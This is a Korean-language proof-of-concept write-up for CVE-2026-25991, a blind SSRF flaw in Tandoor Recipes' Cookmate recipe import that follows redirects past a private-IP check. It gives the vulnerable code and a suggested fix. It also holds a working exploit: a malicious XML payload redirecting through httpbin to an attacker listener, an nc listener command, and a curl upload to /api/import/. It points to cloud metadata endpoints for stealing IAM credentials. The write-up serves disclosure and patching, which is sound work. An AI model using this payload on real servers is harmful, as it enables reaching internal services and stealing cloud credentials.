
CVE-2026-25991에 대한 개념 증명 익스플로잇으로, Tandoor Recipes의 Cookmate 가져오기 기능에 존재하는 블라인드 SSRF 취약점으로, 인증된 사용자가 내부 리소스에 접근할 수 있게 합니다.
레시피 가져오기 기능을 통한 SSRF 개념 증명
공개 정보: 원래 GHSA-j6xg-85mh-qqf7을 통해 저자가 보고한 내용입니다.
⚠️ 승인된 침투 테스트/연구 목적으로만 사용하십시오.
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-25991 |
| 심각도 | 🔴 높음 |
| CVSS 점수 | 7.7 |
| CVSS 벡터 | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| CWE | CWE-918: 서버 측 요청 위조(SSRF) |
| 영향받는 제품 | Tandoor Recipes ≤ 2.5.0 |
| 패치 버전 | 2.5.1 |
| 보안 권고 | GHSA-j6xg-85mh-qqf7 |
Tandoor Recipes의 Cookmate 레시피 가져오기 기능에서 블라인드 서버 측 요청 위조(SSRF) 취약점을 발견했습니다. 애플리케이션이 HTTP 리디렉션을 따른 후 대상 URL을 검증하지 않아, **인증된 모든 사용자(관리자 권한이 없는 일반 사용자 포함)**가 서버를 강제로 임의의 내부 또는 외부 리소스에 연결하도록 만들 수 있습니다.
이 취약점은 내부 네트워크 포트 스캔, 클라우드 인스턴스 메타데이터(예: AWS/GCP 메타데이터 서비스) 접근, 또는 서버의 실제 IP 주소 노출에 악용될 수 있습니다.
취약점은 cookbook/integration/cookmate.py의 Cookmate 통합 클래스에 있습니다.
imageurl 필드를 추출합니다.cookbook/helper/HelperFunctions.py의 헬퍼 함수 validate_import_url을 사용하여 검증되며, 이 함수는 개인 IP 범위(예: 127.0.0.1, 10.0.0.0/8)를 올바르게 차단합니다.requests.get(url)을 사용하여 이미지를 다운로드합니다. 기본적으로 requests 라이브러리는 리디렉션을 따릅니다(allow_redirects=True).
validate_import_url 함수는 초기 URL만 검사하며 리디렉션 발생 후 최종 대상은 검증하지 않습니다.취약한 코드 스니펫 (cookbook/integration/cookmate.py:73):
if validate_import_url(url):
# 중요: requests.get은 기본적으로 리디렉션을 따라가므로 초기 검사를 우회합니다.
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
공격자는 외부 서비스(예: httpbin.org)를 사용하여 요청을 제한된 내부 주소(예: http://127.0.0.1:80/ 또는 http://169.254.169.254/)로 리디렉션할 수 있습니다.
결정적으로, AppImportView (cookbook/views/api.py)는 CustomIsUser 권한을 명시적으로 허용하므로, 등록된 모든 사용자가 이 취약점을 트리거할 수 있습니다. 특별한 관리자 권한이 필요하지 않습니다.
사전 요구 사항:
nc와 같은 HTTP 수신 도구).재현 단계:
리스너 설정(공격자 머신):
터미널을 열고 nc를 시작하여 들어오는 연결을 수신합니다. 이는 내부 서비스 또는 공격자가 제어하는 서버를 시뮬레이션합니다.
nc -lvnp 9999
악성 XML 페이로드 생성:
payload.xml이라는 파일을 생성합니다. <YOUR_IP>를 공개 IP 주소(또는 연결 가능한 IP)로 바꿉니다.
이 페이로드는 httpbin.org를 사용하여 초기 개인 IP 검사를 우회하고 리스너로 리디렉션합니다.
<recipes>
<recipe>
<title>SSRF_PoC</title>
<!-- 내부 서비스 또는 공격자 리스너로 리디렉션 -->
<imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
</recipe>
</recipes>

ZIP 아카이브 생성: Tandoor는 XML이 ZIP 파일 내부에 있어야 합니다.
zip payload.zip payload.xml
익스플로잇 실행(API를 통해):
일반 사용자(관리자 아님)로 로그인하여 세션 쿠키와 CSRF 토큰을 얻습니다.
그런 다음 /api/import/에 POST 요청을 보냅니다:
(<TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN>을 실제 값으로 바꿉니다)
curl -X POST 'http://<TARGET_URL>/api/import/' \
-H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
-H 'X-CSRFToken: <CSRF_TOKEN>' \
-F 'type=COOKMATE' \
-F '[email protected]' \
-F 'duplicates=true'


nc)을 확인합니다. Tandoor 서버에서 들어오는 HTTP GET 요청이 표시됩니다.
이는 일반 사용자를 대신하여 서버가 임의의 외부/내부 리소스에 연결되었음을 확인합니다.
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...

http://169.254.169.254/latest/meta-data/)에 접근하여 IAM 자격 증명을 탈취할 수 있으며, 이는 전체 인프라 손상으로 이어질 수 있습니다.requests.get 호출에서 자동 리디렉션 추적을 비활성화하거나 리디렉션 URL에 대한 엄격한 검증을 구현합니다.
Diff(제안된 수정):
# cookbook/integration/cookmate.py
# 옵션 1: 리디렉션 비활성화(권장)
response = requests.get(url, allow_redirects=False)
# 옵션 2: 리디렉션 검증
# (모든 리디렉션 홉을 개인 IP 범위에 대해 검사하는 복잡한 로직 필요)